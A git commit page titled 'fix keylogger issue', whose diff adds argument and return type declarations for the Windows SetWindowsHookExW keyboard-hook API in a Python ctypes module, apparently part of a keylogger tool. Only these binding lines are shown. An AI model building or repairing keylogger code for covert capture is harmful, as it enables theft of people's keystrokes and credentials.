fix keylogger issue

This commit is contained in:
Alessandro ZANNI 2016-07-28 17:53:56 +02:00
parent ef36a137ea
commit 0dff44d339
1 changed files with 4 additions and 1 deletions

View File

@ -60,6 +60,9 @@ VK_ESCAPE = 0x1B
# Base Win API # Base Win API
SetWindowsHookEx = user32.SetWindowsHookExW SetWindowsHookEx = user32.SetWindowsHookExW
SetWindowsHookEx.argtypes = (c_int, HOOKPROC, HINSTANCE, DWORD)
SetWindowsHookEx.restype = HHOOK
UnhookWindowsHookEx = user32.UnhookWindowsHookEx UnhookWindowsHookEx = user32.UnhookWindowsHookEx
CallNextHookEx = user32.CallNextHookEx CallNextHookEx = user32.CallNextHookEx
GetMessage = user32.GetMessageW GetMessage = user32.GetMessageW